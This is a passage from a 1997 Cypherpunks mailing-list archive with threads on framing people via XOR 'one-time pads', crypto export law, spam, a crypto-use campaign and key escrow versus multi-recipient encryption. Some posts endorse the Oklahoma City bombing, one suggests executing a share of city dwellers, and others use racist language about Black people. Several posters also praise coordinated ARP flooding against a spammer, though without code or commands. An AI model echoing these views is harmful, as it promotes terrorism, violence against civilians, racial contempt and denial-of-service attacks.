: 1. Agents of the Enemy wish to create the appearance of you possessing
: document A.
: 2. They obtain some artifact you have emailed, or posted, or possess on
: your private local storage. ---
: Possibly even signed.  Call this message B.
: 3. They create the XOR of A and B, the result being a 'one time pad' C.
: which of course, gives:
: private message B XOR C = target bogus message A.  This result is of course
: not a one time pad;
: the plan is to accuse you of possessing materials that prove you are
: trading with the enemy,
: exchanging kiddie-porn, any of the usual things.
: 4. This 'one time pad' file C. somehow finds its way into your possession:
: it is an email attachment,
: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
: 5. The agents break down the door and seize all your effects.  
: 6. They are able to prove that you possess B and C, the XOR of which is A.,
: a fact that is impossible
: to have happened at random.
: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
: by accident are 0,
: then you must be guilty.

It was in part for the purpose of demonstrating this possibility that I
wrote the OPT program that I later realized that I could not publish in
any form under the ITAR and cannot publish in electronic form under the
new Commerce Department export regulations (unless I apply for a license
(that I probably cannot get) from the government, a requirement that
violates the First Amendment to the United States constitution).  And it
was the restraints on publishing that and other crypto programs that led
me to file suit to enjoin the enforcement of the export restrictions on
cryptography.

The problem that someone might plant a message and a one-time-pad on
your machine makes for a good spy story; I would be more worried about
someone claiming that I had illegal software on my machine, since they
can always come up with a one-time-pad that will decode some file that
I do have on my machine (if they have access to it) and have the
``decoded'' text be a copyrighted program for which I do not have a
license.

Do you think that Microsoft has a one-time-pad that will convert
Netscape 3.1 into Word for Windows?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:01:59 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007800af99ae300ca9@[207.167.93.63]>
Message-ID: <199705101543.KAA12872@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007800af99ae300ca9@[207.167.93.63]>, on 05/09/97 at 10:53 PM,
   Tim May <tcmay@got.net> said:


>At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:

>>Filtering isn't the point.  Just as you have the right to free speech,
>>you also have the right to ignore someone else's speech as it is aimed at
>>you.  If you don't want Cyberspammo to spam you, they should honor your
>>request to take their crap elsewhere.

>Much as it pains me to dispute my usual ideological ally Ray A., the "they
>should honor your request" is problematic.

>If by this Ray means "as decent human beings they should," then, well,
>perhaps so.

>If, however, Ray means "they should, or something should be done," then,
>of course, we disagree.

>(If Ray means something in between, then he should say more about what he
>means.)

>Fact is, so long as anybody is free to send a message to someone else,
>then what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in
>the sense of not breaking any laws. Whether tasteful or not, legit.

Yes this is true just as it is ligit for me to make arp request to their
routers, lots of arp requests <EG>. There is nothing ilegal from me sending
such a request nor is their any limitation on the number of request that I
make.

As far as the "denial of service" problem that is theirs not mine. After
all they were not concerned with the problems they caused by dumping
+1,000,000/day e-mail messages on AOL's servers so why should anyone be
conserned with their network problem?

>>The problem I have with them is that while they do say "Send email here
>>to never be spammed again" it doesn't work.  They don't honor the
>>deletion requests.  You wind up on some other dweeb's spam queue also
>>from cyberspam. :(

>Indeed, saying you don't "want" more advertisements is, for all practical
>purposes, saying "Send me more!!!!"

>So?

Yep and sending me spam is saying "Make more arp requests!!!!"

So?





- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sun, 11 May 1997 01:06:58 +0800
To: cypherpunks@toad.com
Subject: Crypto Campaign
Message-ID: <199705101441.KAA02277@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"A ghost goes around in the world...the ghost of crypto"

Such as Marx's line described the general fear of governments in 
terms of communism, so it may be adapted to cryptography. World-wide 
we see strenuous work to hinder, prohibit, outlaw free crypto in 
favor of the surveillance states.

And reality shows, why they can do so: only a fraction of the 
Net-population is using it.

Therefore it might be time for a wide-spread campaign to further the 
use of crypto. "Use a cipher...be cool!".

While a lot of Cypherpunks may do so on an individual level already, 
it will not reach the other 30 million or so. IMHO we need something 
of the extent of the "Blue Ribbon Campaign", where almost everybody 
became aware of it and involved in.

On some german crypto-webpages, they have a nice symbol for their 
campaign against the [german] "telecommunications act": a bug.
Check out http://www5.inm.de/tkg/ for some graphics (the page is in 
german, but the pictures speak enough).

Such might be a good way to make people aware of the isues at hand 
and spread free crypto. The german magazine "Der Spiegel" had last 
week an "E-Vote" on their web page: "If it were easy enough to 
encrypt your e-mail, would you use cryptography?" - more 
than 80 percent said yes. Clearly a call to our code-writing members. 

If we could initiate such a campaign, that besides giving info on the 
current attempts to make crypto "surveillance-friendly" etc., also 
gives not-so-technical users an easy way to use crypto for 
themselves, then we might affect the current state of affaires much 
more, than to endlessly rant and rage against it here in our 
Cypherpunk-Niche.

"Use a cipher - be cool!"

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 01:55:36 +0800
To: cypherpunks@toad.com
Subject: The War is Underway
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <v0300780baf9a702c49fe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:07 AM -0800 5/10/97, frissell@panix.com wrote:
>At 12:35 AM 5/10/97 -0700, Blanc wrote:
>>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>>spend so much time writing sensible things of Truth & Light, if he thought
>>the better thing to do for achieving libertarian values was to kill so
>>indiscriminately with a bomb.    After all, he subscribes to utmost
>>discrimination.   So I think right now he's less in the engagement of
>>Reason and more under the influence of maybe some Bud Light.
>
>He didn't say it was a better thing to do.  He said he was coming to
>understand McVeigh's actions.
>

Exactly.

>It is important that everyone from the uninvolved on up to the ruling
>classes understand that we are reaching a point where laws won't "work"
>anymore because power is devolving down the heirarching to the fundamental
>organizational unit -- the individual.  If two guys with $2K to spend can
>take out a building or someone else with ten minutes to spend and a Net
>connection can render export controls ineffective then power relationships
>have changed.
>
>The faster our "rulers" and their "ruled" understand this, the lower the
>total body count.  They simply don't have the power any more.  It's gone.

However, while we may think their power is gone, or is almost gone, they
think otherwise. And we're seeing an accelerating pace of lawmaking, as
laws are being generated by the 50 states, the various municipalities, and,
of course, the Feds. Even the lawmakers can't explain what their laws will
mean, or who will be prosecuted, or how many new prisons will have to be
built to handle the new felons.

This is the "race to the fork in the road" I have long talked about. The
future will be pulled between two attractors, with essentially no middle
ground (just as there is no middle ground in cryptographic security, like
pregnancy). At one side lies a surveillance state, with citizen-units using
approved crypto with approved government backdoors, escrow of diaries, and
random searches under flimsy pretexts. At the other side lies crypto
anarchy, with free men and women arranging the economic and social
transactions they wish, using unbreakable crypto to communicate across
nominal national borders and without only disdain for local attempts to
control such communications.

Many of us believe crypto anarchy will win out, and governments will be
undermined in various ways (including forcibly, using the new degrees of
freedom to deploy destructive technologies...hence my "avoid soft targets"
line).

The bureacrats believe more and more repressive laws will control
troublemakers.

Who will actually win?

I think we will. They think they will. The war is underway.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 01:23:48 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <8euH7D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Blanc <blancw@cnw.com> writes:
> >
> > [Quoting Timmy May]
> > > >Every day that passes, I'm more convinced that McVeigh did the right thi
> > > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> > >
> > >
> > > Timothy must be drunk; I can't believe he said this.   Because he wouldn'
> > > spend so much time writing sensible things of Truth & Light, if he though
> > > the better thing to do for achieving libertarian values was to kill so
> > > indiscriminately with a bomb.    After all, he subscribes to utmost
> > > discrimination.   So I think right now he's less in the engagement of
> > > Reason and more under the influence of maybe some Bud Light.
> >
> > Everybody in that building was somehow affiliated with the gubmint.
>
> Everybody everywhere is somehow affiliated with the gubmint, including
> you and Tim May.

Wrong-o - I ain't done for shit for the U.S. gubmint since the Reagan
presidency or so.  You know better about Timmy May.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:18:12 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <199705101608.LAA13149@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007805af9a53d9a256@[207.167.93.63]>, on 05/10/97 at 10:43 AM,
   Tim May <tcmay@got.net> said:



>I just watched on CNN the images of the raid on the "militia cell" in
>L.A., cited as a cell having "thousands and thousands" of rounds of ammo
>(ooh, scary!), and of having "anti-government literature" (there ought to
>be a law against this kind of stuff!).

>They also claimed they found "armor-piercing rounds" and "cop-killer
>bullets."

>Well, I saw the cops and their shill reporters demonstrating what many of
>us have in our own arsenals. (The Second Amendment should be repealed!)

>The cops claim they know that "something was being planned." And how do
>they know this? Probably the standard method: infiltrate a narc into the
>group and have him plant ideas and spout extremist rhetoric, then use this
>same rhetoric to get a compliant judge to issue a search warrant, even if
>no actual crime has been committed. (Except the search warrant is used as
>a "raid warrant," with black-clad ninjas breaking down the doors...and if
>the victims inside think they're under attack by unnamed thugs and try to
>fight back, a good reason for the ninjas to start shooting. A good way to
>dispose of dissidents and heighten the sense of panic.)

>We live in a police state.

Don't forget that they are placing the "Race" card on this one.

On the CNN report they showed dummies with features resembling blacks &
latinos. The other news agencies have also picked up on this and are
mentioning it in their reports. Expect in the next day or two for them to
be described as "hatefull white supremist".

The only greater crime in America than being a gun owner is being a white
gun owner.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 02:37:59 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <19970510112145.45912@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 10:25:07AM -0500, William H. Geiger III wrote:
>
>>Everybody everywhere is somehow affiliated with the gubmint, including you
>>and Tim May.
>
>That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

William, your precious "individuality" is a tiny wart in the vast
echoing emptiness of your mind.  That wart sits in shuddering awe of
its trivial non-descript self because it is blind to the beauty of the
rest of its own being. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:35:32 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Spam Update/Cyber Promo attacked
In-Reply-To: <v03007807af9a5cf5c64a@[207.167.93.63]>
Message-ID: <199705101624.LAA13298@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007807af9a5cf5c64a@[207.167.93.63]>, on 05/10/97 at 11:16 AM,
   Tim May <tcmay@got.net> said:


>At 7:37 AM -0800 5/10/97, William H. Geiger III wrote:

>>Yes this is true just as it is ligit for me to make arp request to their
>>routers, lots of arp requests <EG>. There is nothing ilegal from me sending
>>such a request nor is their any limitation on the number of request that I
>>make.
>...
>>
>>Yep and sending me spam is saying "Make more arp requests!!!!"
>>
>>So?

>I never claimed otherwise. The effort to shut down CyberPromo with
>coordinated ARP attacks is to be commended. This will probably turn out to
>be another success story for Cypherpunks, having forced Wallace off the
>air, so to speak.

>"What goes around, comes around."

>If you read my post carefully you'll see that I never said ARP attacks
>were unjustified. I merely took issue with Ray A.'s point that CyberPromo
>was not "honoring" requests to cease. (Absent a contractual arrangement,
>no one is under any obligation to "honor" requests about what they wish to
>have sent to them in e-mail.)

Ahhh... an erroneous jump in logic on my part. I had made the assumption
that you were also in disagreement with the ARP attack. Glad to see that we
are both on the same side of this issue. :)

Eventually programmers will learn that the Internet is a hostile
environment and code accordingly.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 11 May 1997 00:58:08 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007808af9a5e220d18@[207.167.93.63]>
Message-ID: <199705101642.LAA13447@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v03007808af9a5e220d18@[207.167.93.63]>, on 05/10/97 at 11:23 AM,
   Tim May <tcmay@got.net> said:


>At 8:06 AM -0800 5/10/97, William H. Geiger III wrote:

>>Don't forget that they are placing the "Race" card on this one.
>>
>>On the CNN report they showed dummies with features resembling blacks &
>>latinos. The other news agencies have also picked up on this and are
>>mentioning it in their reports. Expect in the next day or two for them to
>>be described as "hatefull white supremist".
>>
>>The only greater crime in America than being a gun owner is being a white
>>gun owner.

>Actually, the "ring leaders" cited prominently were named Yee and Ung, and
>thus appear to be orientals, not whites.

>(Don't forget that during the L.A. riots it was the Koreans who
>prominently were defending themselves and their property with so-called
>"assault weapons" against the coloreds. The main justice that came out of
>those riots was that 30 square blocks of inner L.A. remain burned out and
>unrebuilt, leaving those who rioted and looted with no local stores to
>shop in. And the Koreans are even vastly better armed than before.)

I remember all to well. I was living in Texas at the time and while there
were numerous rummors and speculation that the roits would spread, ala
roits of the 60's, we were quite prepaired to prevent it from spreading to
our "neck of the woods".

>Apropos of this last point, I wouldn't be at all surprised if "Yee" and
>"Ung" turn out to be Koreans interested in defending themselves against
>these hordes of animals.

Hmmm... the reports I heard failed to mention any names.

I wouldn't be suprised if your analysis was correct. The orientals seem to
be quite hated by the inter city blacks as they are a constant reminder
that minorities can thrive and prosper in America (the only color that
really matters here is green dispite what some would have you think).

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows isn't crippleware: it's "Fuctionally Challenged"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 02:53:26 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <19970510114205.14088@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
> 
> (Don't forget that during the L.A. riots it was the Koreans who prominently
> were defending themselves and their property with so-called "assault
> weapons" against the coloreds. The main justice that came out of those
> riots was that 30 square blocks of inner L.A. remain burned out and
> unrebuilt, leaving those who rioted and looted with no local stores to shop
> in. And the Koreans are even vastly better armed than before.)

I wonder what would be the "main justice" to result from the 
cypherpunks riots you are advocating?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 10 May 1997 23:59:02 +0800
To: cypherpunks@toad.com
Subject: DoD computer security
Message-ID: <TCPSMTP.17.5.10.11.50.0.2780269260.1634448@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

May be of interest:

== Forwarded Message Follows =========================================

Date: Thu, 08 May 1997 23:22:55 -0700
From: Alan Hersh <cyberwiz@web-site.com>
To: GsuNet List <gsunet-l@bgu.edu>
Subject: Computer Attacks at Department of Defense

http://www.fas.org/irp/gao/aim96084.htm

Information Security: Computer Attacks at Department of Defense
Pose Increasing Risks

(Chapter Report, 05/22/96, GAO/AIMD-96-84)

Pursuant to a congressional request, GAO reviewed the extent to
which Department of Defense (DOD) computer systems are attacked,
focusing on the: (1) potential for further damage to DOD computer
systems; and (2) challenges DOD faces in securing sensitive
information on its computer systems.

====================================================================

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Want to use PGP? -> http://bureau42.base.org/public/pgpsteps.txt

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 11 May 1997 02:09:43 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <Pine.LNX.3.91.970510115710.1202B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> At 09:26 PM 5/9/97 -0800, Tim May wrote:
> 
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> ......................................................
> 
> 
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

I have to say I agree, I believe that violence is probably the only way 
to proceed in order to defend ourselves against the criminals within 
modern societies, however, I seperate this entirely from the action of 
killing indiscriminately.

I have to say also that I believe that if one were to drop a fairly large 
bomb on a major US city, say LA or NYC, the probable outcome would be 
that 99% of the people killed would be corrupt scum anyway, in DC I would 
imagine the figure would be approching 100%, however, this does not 
absolve one from blame if, through some freak outcome, a small bomb of, 
say, the Timothy McVeigh style happens to kill an innocent person, one is 
still guilty of murder. Part of the reason I despise government so 
greatly is because the poloticians justify their actions by reference to 
"the greater good", ie. "If a few thousand innocent conscripted members of 
the army get killed defending our society so be it."

In the end, it also comes down to what action you believe is justifiable 
in the name of freedom, ie. When I say I believe 99% of people in sat NYC 
are corrupt scum this is true, but to varying degrees, I would personally 
say, as an estimate, only 3 to 5% of these people should be executed 
for their crimes, the others are either corrupt morally on a small level, 
or are just naive, eg. I believe people who vote in democratic elections 
commit a crime against me by being part of the process which brings about 
authoritarian government, even if they vote for a party that proposed to 
rule according to libertarian values they still perpetuate a system where 
the majority control the actions of the minority, however, I would not kill 
these people, I believe they are simply ill educated and unable to comprehend 
the wrong they do me.

The bottom line is, I disagree with what Tim said but I do sympathise 
with the reasons why he said it.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 11 May 1997 03:38:06 +0800
To: Kent Crispin <cypherpunks@cyberpass.net
Subject: Re: Disinformation in L.A.
In-Reply-To: <v03007805af9a53d9a256@[207.167.93.63]>
Message-ID: <v0300780daf9a8837f017@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 AM -0800 5/10/97, Kent Crispin wrote:
>On Sat, May 10, 1997 at 09:23:57AM -0800, Tim May wrote:
>>
>> (Don't forget that during the L.A. riots it was the Koreans who prominently
>> were defending themselves and their property with so-called "assault
>> weapons" against the coloreds. The main justice that came out of those
>> riots was that 30 square blocks of inner L.A. remain burned out and
>> unrebuilt, leaving those who rioted and looted with no local stores to shop
>> in. And the Koreans are even vastly better armed than before.)
>
>I wonder what would be the "main justice" to result from the
>cypherpunks riots you are advocating?
>

And just what "cypherpunks riots" would those be? I don't advocate that
white rise up and burn down their neighborhoods--Palo Alto, Brentwood, Boca
Raton, etc.--as some other groups have repeatedly done (South Central LA,
Liberty City, Asbury Park, etc.).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 11 May 1997 03:42:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970510122931.54997@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> 
> Kent Crispin <kent@songbird.com> writes:
> > > At 11:47 PM 5/7/97 -0400, Carl Ellison wrote:
> > > >I was saying that if Sam needs to read my encrypted file/mail, then
> > > >I should list Sam as a crypto-recipient.  If Acme,Inc. needs to read
> > > >my encrypted file/mail, then I should list Acme,Inc. as a
> > > >crypto-recipient.
> > > >
> > > >There's no safe of keys.  It's even simpler to explain to an executive.
> > 
> > Unfortunately, it doesn't solve the problem at all.  In fact it
> > doesn't even address the problem.  So much so that reading these
> > replies makes me think that I am looking at different problem than
> > you. 
> 
> It seems to me that it is you Kent who is scrambling to find plausible
> reasons why key escrow is the best or only technology to use in
> corporate email systems.

Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
to implement Carl's model, it would already have happened, given the 
dislike of key-escrow in the cryptographic community.  But, when 
examined in detail, in light of real requirements from organizations, 
it is not easy at all.

I'm not "scrambling", Adam.  If there is anything you need to
understand here, it is that I am *not* in favor of GAK.  Chisel that
in stone and think about it a bit -- your misunderstanding of my
motives causes you to gloss over my arguments and not think about
them.  I am sympathetic to your concerns, and I am trying to explain
something I truly think people are missing.  Think of me as 
intelligent, Adam, and I will do the same for you.

> > [long analogy to physical locks and keys on company premises]
> >
> > With this background, perhaps now you can see why I say that Carl's 
> > solution doesn't even address the problem.  The problem is management 
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> > What part of the organization that is Acme Corp is authorized to know 
> > this particular bit of information?  Because some of the employees 
> > are idiots you want this built automatically into the application 
> > they are using for encryption/email/whatever.  How does this software 
> > know what policy is appropriate for which employee?  How is that 
> > policy distributed?  What is the interface that allows a policy to be 
> > defined?   How do you protect the policy definition from subversion?
> 
> Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> saying on cryptography@c2, that key escrow has complexity problems,
> contrary to what you have previously been arguing :-)

You completely missed the point of the above paragraph -- all those
questions apply to the "encrypt to policy-specified local recipients"
model, and *don't* apply to the key-safe model.  The key-safe model 
has no significant policy issues that need to be embedded in 
software -- the only policy is "when data encryption keys are 
generated a copy is sent to the key-safe (using an encrypted channel, 
of course)."

> > Contrast that with a key-safe model, where a copy of every encryption
> > key is kept in a secure database.  The encryption client software only
> > talks to the key-safe when a new key is generated, over a
> > cryptographically secure channel, of course.  There is no policy the
> > client has to know.  The user encrypts freely without concern about
> > who else should get copies.  The organization knows that there is very
> > little chance of data loss because of lost keys, and can use any
> > policy it chooses to recover keys, from the company president's ad hoc
> > whim to a carefully specified organization al security policy. 
> > 
> > Access to the key-safe is critical, of course, but it can be made 
> > very secure -- a special-purpose piece of hardware that requires 
> > passwords from n out of m key czars before access is granted, for 
> > example.  Or the contents of the key safe can be encrypted via keys 
> > escrowed through a secret sharing mechanism
> 
> I don't see the difference.  With the encrypt to multiple recipients
> approach where the second crypto-recipient is the company key you can
> store the private half of the corporate key using the same techniques
> you discussed above.
> 
> Access to the data requires access to the master key in both cases.

It follows, therefore, that if the master key is compromised in both
systems, all data is compromised.  From that perspective, the systems
are equally secure. 

> You fix the second crypto-recipient in the MUA if you wish to.

This is precisely the point I was alluding to in the policy discussion
above.  In an organizational content, *of course* you will put all the
complexity in the MUA.  The question is, how do you change the 
"master key" indicator that is in each MUA?  Suppose that the 
organization wants different keys for different departments -- how do 
you keep track of which master key goes where?  How do all those 
MUA's get their key policy module updated?

>  The
> fire-wall can reject posts without the second crypto-recipient.

How does the key policy module in the firewall get updated?

>  You
> can use binding cryptography to ensure the fire-wall can tell that it
> is an encrypted copy of the same document without the firewall needing
> access to the master key.  You can't do this company has all keys in
> the safe model, without givin the firewall automatic access to the
> safe, which is a huge security risk.

???
With the key-safe model the firewall never enters into the picture.

> So, I suppose you would argue that oh no, the user can by pass this
> feature of the MUA, they can use a different MUA, or telnet to the
> SMTP port manually.

No, I wouldn't argue that -- I know perfectly well that that neither 
model does any good at all against a determined, competent insider.

[...]

> The advantage of the multiple recipient model is that doesn't commit
> the cardinal sin/design flaw of sharing private crypto keys.

Two things:  First, any crypto system that doesn't deal with 
protection/recovery/secure-use of private keys is incomplete.

Second, keep in mind that we are talking about encryption for an
*organization's* purposes.  The whole meaning of "private" is altered
in that context. 

> Some people have argued that multiple recipient is less suited to GAK,
> and therefore it would be better to use multiple recipient, I'm not
> sure that it makes that much difference.  If we get forced to put the
> government as the second crypto-recipient recipient, the government
> still gets to read all your mail.
> 
> The main argument against company generates all keys, company holds
> all keys, to me is that it's bad crypto design.

You say "tumato"...

> The `it's easier to explain a safe full of all employee keys' to
> management argument is nonsense also.  It's a master key either way
> and just as easy to explain either way: a master key is a key that
> lets you decrypt all mail.

At that level of generality both these systems are identical, and 
equally easy to explain.  It's when you get down to the details that 
things become more interesting.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sun, 11 May 1997 01:04:51 +0800
To: Tim May <cypherpunks@cyberpass.net
Subject: Re: Stego Cash?
In-Reply-To: <199705082338.TAA24157@rho.pair.com>
